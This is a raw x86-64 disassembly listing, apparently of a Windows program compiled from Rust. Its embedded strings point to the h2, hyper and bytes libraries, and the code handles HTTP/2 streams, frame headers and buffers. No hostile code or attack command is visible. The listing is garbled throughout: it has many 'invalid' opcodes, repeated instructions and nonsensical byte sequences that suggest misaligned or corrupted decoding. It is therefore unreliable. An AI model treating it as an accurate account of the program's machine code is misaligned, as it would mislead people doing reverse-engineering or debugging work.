movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rdi, [rsi + 0x180]
movzx eax, byte [rsi + 0x180]
cmp eax, 3
mov rbx, qword [rsp + 0x78]
je 0x1400a3471
test eax, eax
je 0x1400a3471
cmp eax, 1
jne 0x1400a344c
lea rcx, [rsi + 0x1a0]
mov rax, qword [rsi + 0x188]
mov rdx, qword [rsi + 0x190]
mov r8, qword [rsi + 0x198]
call qword [rax + 0x10]
jmp 0x1400a3471
mov rax, qword [rsi + 0x188]
shl rax, 1
test rax, rax
je 0x1400a3471
mov r8, qword [rsi + 0x190]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x20], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
cmp byte [rsp + 0x34], 0
jne 0x1400a34a5
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a35ab
xor eax, eax
xchg byte [rbx], al
cmp al, 2
mov edi, dword [rsp + 0x84]
and al, 0x84
add byte [rax], al
add byte [rbp + 9], dh
and al, 0x84
add byte [rax], al
add byte [rbp + 9], dh
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test dil, dil
jne 0x1400a34d5
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a35c1
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x1400a34fa
mov rcx, rsi
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdi, rcx
mov rcx, rsi
call fcn.1401101b0
mov rcx, rdi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a31ef
mov rdi, rcx
call fcn.140110270
mov rcx, rdi
mov edi, eax
xor dil, 1
movzx eax, byte [rsi + 1]
test al, al
je 0x1400a31fd
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x48], dil
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed08]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.140108600
mov rcx, rbx
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a3222
call fcn.140110270
xor al, 1
mov dword [rsp + 0x34], eax
jmp 0x1400a322a
call fcn.140110270
test al, al
jne 0x1400a34a5
mov byte [rbx + 1], 1
jmp 0x1400a34a5
call fcn.140110270
test al, al
jne 0x1400a34d5
mov byte [rsi + 1], 1
jmp 0x1400a34d5
lea rax, [rsp + 0x3c]
mov qword [rsp + 0xa0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0xa8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108690
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x34]
mov byte [rsp + 0x48], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed28]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.140108600
int3
add al, 0
add byte [rcx - 0x77], cl
invalid
mov rax, qword [rbx + 0xc0]
mov rdx, qword [rbx + 0xc8]
mov r8, qword [rbx + 0xd0]
mov rcx, qword [rsp + 0xb8]
call qword [rax + 0x10]
mov qword [rbx + 0xb8], 3
mov qword [rbx + 0xc0], r12
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xc8]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rcx], xmm0
mov dword [rbx + 0xe0], ebp
mov rsi, qword [r14]
lea rax, [rsi - 3]
cmp rax, 1
ja 0x1400a3880
mov r12, qword [rbx + 0x108]
mov rdi, qword [rbx + 0x120]
cmp r12, rdi
jbe 0x1400a3910
mov rsi, qword [rbx + 0x140]
mov r15, qword [rbx + 0x148]
mov rcx, rsi
call qword [r15 + 0x40]
test al, al
je 0x1400a3aa5
mov eax, 0x38
nop word cs:[rax + rax]
mov dword [rsp + rax + 0xb8], 0
mov qword [rsp + rax + 0xc0], 1
mov dword [rsp + rax + 0xc8], 0
mov qword [rsp + rax + 0xd0], 1
mov dword [rsp + rax + 0xd8], 0
mov qword [rsp + rax + 0xe0], 1
mov dword [rsp + rax + 0xe8], 0
mov qword [rsp + rax + 0xf0], 1
add rax, 0x40
cmp rax, 0x438
jne 0x1400a37b0
mov rax, r12
sub rax, rdi
mov ecx, 0
cmovb rax, rcx
mov rcx, rax
shr rcx, 0x20
jne 0x1400a42b5
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx]
add rcx, rdi
mov dword [rsp + 0xf0], eax
mov qword [rsp + 0xf8], rcx
mov r9d, 1
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0xf0]
call qword [r15 + 0x38]
test rax, rax
je 0x1400a3ad3
jmp 0x1400a402d
test rsi, rsi
je 0x1400a38a3
cmp esi, 1
jne 0x1400a38ac
mov rax, qword [rbx + 0xc8]
sub rax, qword [rbx + 0xd0]
mov ecx, 0
cmovae rcx, rax
jmp 0x1400a38ae
mov rcx, qword [rbx + 0xd0]
jmp 0x1400a38ae
xor ecx, ecx
mov rax, qword [rbx + 0xe0]
cmp rcx, rax
cmovae rcx, rax
test rcx, rcx
je 0x1400a3910
mov rcx, qword [rbx + 0x108]
sub rcx, qword [rbx + 0x120]
mov edx, 0
cmovb rcx, rdx
test rsi, rsi
je 0x1400a3af6
mov edx, 0
cmp esi, 1
jne 0x1400a3afd
mov r8, qword [rbx + 0xc8]
sub r8, qword [rbx + 0xd0]
mov edx, 0
cmovae rdx, r8
jmp 0x1400a3afd
mov qword [rbx + 0x120], 0
mov qword [rbx + 0x108], 0
mov qword [rbx + 0xb8], 4
cmp esi, 3
jne 0x1400a3f9c
mov rax, qword [rsp + 0x68]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov ebp, dword [rbx + 0xe0]
mov eax, dword [rbx + 0x138]
add rax, 9
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
mov qword [rsp + 0xf0], 0
mov r8d, 3
mov rcx, r15
lea rdx, [rsp + 0xf5]
call fcn.14002b690
mov byte [rsp + 0xf0], 9
mov r8d, 1
mov rcx, r15
lea rsi, [rsp + 0xf0]
mov rdx, rsi
call fcn.14002b690
mov byte [rsp + 0xf0], 4
mov r8d, 1
mov rcx, r15
mov rdx, rsi
call fcn.14002b690
mov eax, ebp
bswap eax
mov dword [rsp + 0xf0], eax
mov r8d, 4
mov rcx, r15
mov rdx, rsi
call fcn.14002b690
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, r15
mov r15, qword [rax + 8]
mov rsi, qword [rsp + 0x80]
mov rdi, r15
not rdi
cmp rdi, rdx
cmovae rdi, rdx
cmp rsi, rdi
jbe 0x1400a3a90
test rdi, rdi
je 0x1400a3c3a
mov rax, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x88]
mov r9, rsi
call qword [rax]
sub qword [rsp + 0x80], rdi
add qword [rsp + 0x78], rdi
mov qword [rsp + 0x100], rdi
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0xa8], rax
jmp 0x1400a3c60
mov rdx, qword [rsp + 0x78]
mov r8, rsi
call fcn.14002b690
xor r12d, r12d
jmp 0x1400a3cc2
mov rax, qword [rsp + 0x28]
mov r8, qword [rax]
add r8, rdi
mov rax, r12
sub rax, rdi
mov r9d, 0
cmovae r9, rax
mov rcx, rsi
mov rdx, r13
call qword [r15 + 0x20]
test rax, rax
jne 0x1400a401d
add rdi, rdx
lea r15, [rsp + 0x58]
jb 0x1400a4279
invalid
add byte [rcx + rdi - 0x19], cl
cmp rdi, r12
ja 0x1400a4291
mov qword [rbx + 0x120], rdi
jmp 0x1400a3759
mov rdx, qword [rbx + 0xd0]
cmp rdx, rax
cmovb rax, rdx
add rcx, rax
jb 0x1400a42a9
je 0x1400a3759
mov rsi, qword [rbx + 0x140]
mov r12, qword [rbx + 0x148]
mov rcx, rsi
call qword [r12 + 0x40]
test al, al
je 0x1400a3c06
mov eax, 0x38
nop word cs:[rax + rax]
mov dword [rsp + rax + 0xb8], 0
mov qword [rsp + rax + 0xc0], 1
mov dword [rsp + rax + 0xc8], 0
mov qword [rsp + rax + 0xd0], 1
mov dword [rsp + rax + 0xd8], 0
mov qword [rsp + rax + 0xe0], 1
mov dword [rsp + rax + 0xe8], 0
mov qword [rsp + rax + 0xf0], 1
add rax, 0x40
cmp rax, 0x438
jne 0x1400a3b40
mov rcx, qword [rbx + 0x108]
mov rax, qword [rbx + 0x120]
sub rcx, rax
jbe 0x1400a3d92
mov edx, 0
cmovb rcx, rdx
mov rdx, rcx
shr rdx, 0x20
jne 0x1400a42b5
mov rdx, qword [rsp + 0x28]
add rax, qword [rdx]
mov dword [rsp + 0xf0], ecx
mov qword [rsp + 0xf8], rax
mov eax, 1
mov rdx, qword [r14]
cmp rdx, 2
jne 0x1400a3da1
xor r8d, r8d
jmp 0x1400a3e0f
mov rax, qword [rbx + 0x108]
mov rcx, qword [rbx + 0x120]
cmp rax, rcx
jbe 0x1400a3dc0
mov rdx, qword [rsp + 0x28]
mov r8, qword [rdx]
add r8, rcx
sub rax, rcx
mov r9d, 0
cmovae r9, rax
jmp 0x1400a3f1c
mov qword [rsp + 0x98], 1
lea rax, [rsp + 0xa0]
movups xmmword [rax], xmm6
lea rax, [0x140113ac0]
mov qword [rsp + 0x90], rax
mov r13, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa0]
lea rcx, [rsp + 0x58]
mov rdx, r13
mov r8, r12
call fcn.14002b690
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov rdx, r13
mov r8, r12
call qword [rax + 0x10]
mov r12, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x100], rax
mov r13, qword [rsp + 0xc0]
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 8]
mov rcx, rdx
sub rcx, r15
bswap rcx
mov r8, rcx
shl r8, 0x18
jne 0x1400a4250
cmp rdx, 2
lea r15, [rsp + 0x58]
jbe 0x1400a4268
shr rcx, 0x28
mov rdx, qword [rax]
mov word [rdx], cx
shr ecx, 0x10
mov byte [rdx + 2], cl
test r12, r12
je 0x1400a3d1a
mov rdx, qword [rax + 8]
cmp rdx, 5
jb 0x1400a423f
mov rax, qword [rax]
add byte [rax + 4], 0xfc
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xe0], rax
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xd0], xmm0
cmp rsi, rdi
ja 0x1400a3d5c
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
lea rcx, [rsp + 0x88]
call qword [rax + 0x10]
test r12, r12
je 0x1400a3759
mov rax, qword [r14]
cmp rax, 4
je 0x1400a3722
cmp eax, 3
je 0x1400a3702
cmp eax, 1
je 0x1400a3e62
test rax, rax
je 0x1400a3702
jmp 0x1400a3722
xor eax, eax
mov rdx, qword [r14]
cmp rdx, 2
je 0x1400a3bfe
cmp edx, 1
jne 0x1400a3e08
mov rcx, qword [rbx + 0xc8]
sub rcx, qword [rbx + 0xd0]
mov r8d, 0
cmovae r8, rcx
jmp 0x1400a3e0f
mov rax, qword [r14]
cmp rax, 2
je 0x1400a3ef6
cmp eax, 1
jne 0x1400a3f00
mov rcx, qword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
mov r8, qword [rbx + 0xc0]
add r8, rax
sub rcx, rax
mov eax, 0
cmovae rax, rcx
mov ecx, 1
cmovbe r8, rcx
jmp 0x1400a3f0e
mov r8, qword [rbx + 0xd0]
mov rcx, qword [rbx + 0xe0]
cmp r8, rcx
cmovae r8, rcx
test r8, r8
je 0x1400a3e5d
cmp edx, 2
je 0x1400a3e8c
cmp edx, 1
jne 0x1400a3e96
mov r9, qword [rbx + 0xc8]
mov r8, qword [rbx + 0xd0]
mov rdx, qword [rbx + 0xc0]
add rdx, r8
sub r9, r8
mov r8d, 0
cmovae r8, r9
mov r9d, 1
cmovbe rdx, r9
jmp 0x1400a3ea4
xor r9d, r9d
jmp 0x1400a3ed6
cmp qword [rbx + 0xc8], 0
je 0x1400a3722
mov rax, qword [rsp + 0x68]
mov r8, qword [rax]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400a3722
mov edx, 1
xor r8d, r8d
jmp 0x1400a3ea4
mov rdx, qword [rbx + 0xc8]
mov r8, qword [rbx + 0xd0]
cmp r8, rcx
cmovb rcx, r8
mov r8, rcx
shr r8, 0x20
jne 0x1400a42b5
mov r8d, eax
shl r8d, 4
add r8, rsp
add r8, 0xf0
mov dword [r8], ecx
mov qword [r8 + 8], rdx
mov r9d, 1
add r9, rax
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0xf0]
call qword [r12 + 0x38]
test rax, rax
je 0x1400a3f30
jmp 0x1400a402d
mov r8d, 1
xor eax, eax
jmp 0x1400a3f0e
mov r8, qword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
mov r9, qword [rbx + 0xe0]
cmp rax, r9
cmovb r9, rax
mov rcx, rsi
mov rdx, r13
call qword [r12 + 0x20]
test rax, rax
jne 0x1400a401d
mov rcx, qword [rbx + 0x108]
mov rax, qword [rbx + 0x120]
mov r9, rcx
mov r8d, 0
sub r9, rax
cmovae r8, r9
jbe 0x1400a3f71
cmp r8, rdx
jae 0x1400a3f7e
add rax, r8
jb 0x1400a4279
cmp rax, rcx
ja 0x1400a4291
mov qword [rbx + 0x120], rax
sub rdx, r8
mov rcx, r14
call fcn.1400a4ac0
jmp 0x1400a3759
add rax, rdx
jb 0x1400a4279
cmp rax, rcx
ja 0x1400a4291
mov qword [rbx + 0x120], rax
jmp 0x1400a3759
cmp esi, 4
je 0x1400a40ad
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rbx + 0xf8]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rbx + 0xe8]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rbx + 0x70]
cmp rax, 3
je 0x1400a4061
cmp eax, 1
je 0x1400a4044
test rax, rax
jne 0x1400a4061
lea rcx, [rbx + 0x90]
mov rax, qword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov r8, qword [rbx + 0x88]
call qword [rax + 0x10]
jmp 0x1400a4061
cmp rax, 1
mov edi, 1
je 0x1400a4033
jmp 0x1400a4170
cmp rax, 1
jne 0x1400a403a
xor edi, edi
jmp 0x1400a4170
mov edi, 1
jmp 0x1400a4170
cmp qword [rbx + 0x80], 0
je 0x1400a4061
mov r8, qword [rbx + 0x78]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbx + 0x70], rsi
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rbx + 0x78], xmm0
movups xmmword [rbx + 0x88], xmm1
mov rax, qword [rsp + 0x110]
mov qword [rbx + 0x98], rax
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rbx + 0xa0], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rbx + 0xb0], rax
mov rcx, qword [rbx + 0x140]
mov rax, qword [rbx + 0x148]
mov rdx, r13
call qword [rax + 0x28]
mov rdi, rax
test rax, rax
jne 0x1400a4170
test rdx, rdx
jne 0x1400a4170
mov r8, qword [rsp + 0x30]
cmp r8, 2
je 0x1400a421c
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8, r8
je 0x1400a410b
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x30]
cmp r8, 2
je 0x1400a421c
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8, r8
je 0x1400a4216
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400a421c
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call fcn.140005050
jmp 0x1400a421c
mov r9, qword [rsp + 0x30]
cmp r9, 2
je 0x1400a4220
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
test r9, r9
mov rsi, rdx
je 0x1400a41a8
mov rdx, qword [r8 + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, rax
call qword [r8 + 0x68]
mov r8, qword [rsp + 0x30]
cmp r8, 2
mov rdx, rsi
je 0x1400a4220
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
test r8, r8
je 0x1400a420b
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
mov rdx, rsi
jne 0x1400a4220
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call fcn.140005050
mov rdx, rsi
jmp 0x1400a4220
call qword [rax + 0x80]
mov rdx, rsi
jmp 0x1400a4220
call qword [rax + 0x80]
xor edx, edx
xor edi, edi
mov rax, rdi
movaps xmm6, xmmword [rsp + 0x4f0]
add rsp, 0x508
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov ecx, 4
call fcn.1401082d0
lea rcx, [0x14012894a]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov edx, 0x3e
call fcn.140108350
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frameheaders.rsassertion_failed:_payload_len_be_0..5_.iter__.all_b_b__0_
mov ecx, 3
call fcn.140108340
lea rcx, str.overflowH
lea r8, [0x14014f068]
mov edx, 8
call fcn.1401086b0
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea ecx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14014f048]
or al, byte [rax]
mov edx, 0x36
call fcn.140108350
invalid
invalid
invalid
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140108690
lea rcx, str.assertion_failed:_buf.len_____c::ULONG::MAX_as_usize_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_syspalwindowsio.rs
lea r8, [0x14013f7c0]
mov edx, 0x35
call fcn.140108350
int3
mov ecx, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
call fcn.140005050
jmp 0x1400a46f6
invalid
invalid
mov eax, esi
add rsp, 0x2a8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
cmp rbx, r15
jae 0x1400a4913
imul rax, rbx, 0x138
mov rcx, qword [rsi + 8]
mov ecx, dword [rsi + 8]
mov ecx, dword [rsi + 8]
add rsi, 8
mov qword [r14 + rax], 1
mov qword [r14 + rax + 8], rcx
jmp 0x1400a48e9
add dh, byte [rbp + 0x4a]
lea rcx, [rax + 8]
mov rdx, qword [rax + 8]
mov qword [rdi + 0x20], rdx
mov qword [rax], 0
lea rdx, [rsp + 0x20]
mov r8d, 0x130
call fcn.140106250
cmp qword [rsi], 0
jne 0x1400a4875
mov qword [rsi], 1
mov qword [rsi + 8], rbx
add rsi, 0x10
mov qword [rsi], rbx
add rsp, 0x150
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.140108350
lea rcx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.14010cf20
int3
fiadd dword [rcx + 0x39]
invalid
add byte [rbx - 0x7d], al
cmp al, 0x19
add cl, byte [rdi]
test byte [rdx + 0x4d000000], bl
add ecx, ebx
cmp dword [r9 + 0x114], r10d
jne 0x1400a4a64
mov dword [r9 + 0xb8], 1
mov dword [r9 + 0xbc], r8d
mov dword [r9 + 0xc0], eax
jmp 0x1400a4a02
mov dword [rcx + 0xc], r8d
add rcx, 0x10
mov dword [rcx], eax
add rsp, 0x68
ret
invalid
add byte [rax - 0x73], cl
adc eax, 0x83ba6
lea rcx, [rsp + 0x38]
call fcn.140108280
mov qword [rsp + 0x28], rdx
push rsp
and al, 0x28
lea rax, [0x14001b400]
mov qword [rsp + 0x30], rax
dec dword [rax - 0x77]
and al, 0x30
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108280
int3
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
ret
call fcn.140108350
lea rcx, str.overflowH
lea r8, [0x14014f068]
mov edx, 8
add byte [rax], al
add al, ch
pop rbp
cmp eax, dword [rsi]
invalid
add byte [rax], al
add al, ch
pop rbp
cmp eax, dword [rsi]
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
mov qword [rsp + 0x30], r8
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x48], rcx
and al, 0x48
mov qword [rsp + 0x50], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
js case.0x14007337a.302
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
js case.0x14007337a.302
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14014f048]
movsb byte [rdi], byte [rsi]
or al, byte [rax]
movsb byte [rdi], byte [rsi]
or al, byte [rax]
mov edx, 0x36
call fcn.140108350
jns 0x1400a4c0c
invalid
add ah, cl
jns 0x1400a4c0c
invalid
mov r11d, dword [r9 + 8]
mov ebx, dword [rcx + 8]
mov r10d, dword [r9 + 0xc]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x44], r10d
mov dword [rsp + 0x44], r10d
mov dword [rsp + 0x44], edx
cmp qword [rax + 0x10], r11
jbe 0x1400a4cd1
mov rax, qword [rax + 8]
imul r11, r11, 0x130
add byte [rdx - 0x7d], al
cmp al, 0x18
add cl, byte [rdi]
invalid
mov ch, 0
add byte [rax], al
invalid
add byte [rdx - 0x7d], al
cmp al, 0x18
add cl, byte [rdi]
test byte [rbp + 0x4c000000], dh
add eax, ebx
add byte [rax], al
add rax, r11
cmp dword [rax + 0x114], r10d
add byte [rax], al
jne 0x1400a4cd1
movzx r10d, byte [rax + 0x50]
add r10b, 0xfa
ret 0x45fa
movzx ebx, dl
cmp r11b, 6
mov r10d, 6
cmovb r10d, r11d
rol dword [rcx - 0x80], cl
cli
invalid
ja 0x1400a4c67
ret 0x45fa
rol dword [rcx - 0x80], cl
cli
invalid
movzx r10d, r10b
mov r11d, 0x54
add byte [rbp + 0xf], al
invalid
invalid
bt ebx, edx
jae 0x1400a4c67
cmp qword [rax + 0x88], 0
je 0x1400a4cc2
add edx, dword [rax + 0x80]
jno 0x1400a4cb0
mov rax, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
invalid
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
invalid
xor byte [rax - 0x77], cl
push rsp
and al, 0x28
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x20], ecx
mov edx, 3
mov r9, r8
mov r8b, 1
call fcn.14008b320
invalid
invalid
invalid
invalid
mov eax, 1
mov edx, 3
invalid
invalid
add rsp, 0x88
ret
invalid
add rcx, 8
mov dword [rax + 0x80], edx
nop
add byte [rax], 0
add byte [rcx + rcx*4 - 0x36], cl
nop
add byte [rax], 0
add byte [rcx + rcx*4 - 0x36], cl
call fcn.1400216e0
xor eax, eax
mov edx, 3
add rsp, 0x88
ret
lea rax, [rsp + 0x44]
and al, 0x44
mov qword [rsp + 0x48], rax
lea rax, [0x14001b400]
add eax, 0xfff7671e
lea rax, [0x14001b400]
add eax, 0xfff7671e
mov qword [rsp + 0x50], rax
and al, 0x50
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
add byte [rax - 0x73], cl
adc eax, 0x838e1
add byte [rax - 0x73], cl
adc eax, 0x838e1
lea rcx, [rsp + 0x58]
call fcn.140108280
int3
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x748
sub esp, 0x748
movaps xmmword [rsp + 0x730], xmm6
mov r13, rcx
movzx eax, byte [r8]
mov dh, 0
mov dh, 0
lea rcx, [0x140177e00]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmpsd dword [rsi], dword [rdi]
xor byte [0x1446d955c], cl
or dword [rax + 1], 0x49e0ffc8
jmp rax
mov rax, qword [r8 + 0x28]
mov rax, qword [r8 + 0x28]
mov qword [rsp + 0x510], rax
movdqu xmm0, xmmword [r8 + 8]
movdqu xmm1, xmmword [r8 + 0x18]
movdqa xmmword [rsp + 0x500], xmm1
movdqa xmmword [rsp + 0x4f0], xmm0
movq qword [rsp + 0x4f0], mm0
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6ab3
invalid
add byte [rax - 0x75], cl
add eax, 0xdd563
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6ad4
xor r14d, r14d
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6af2
movzx r15d, byte [rdx + 0x30]
mov rsi, qword [rdx + 0x28]
sub byte [rbx + 0x51024ac], cl
add byte [rax], al
sub byte [rbx + 0x51024ac], cl
add byte [rax], al
lea rdx, [rdi + 0x1b8]
lea rbx, [rsp + 0x280]
add al, byte [rax]
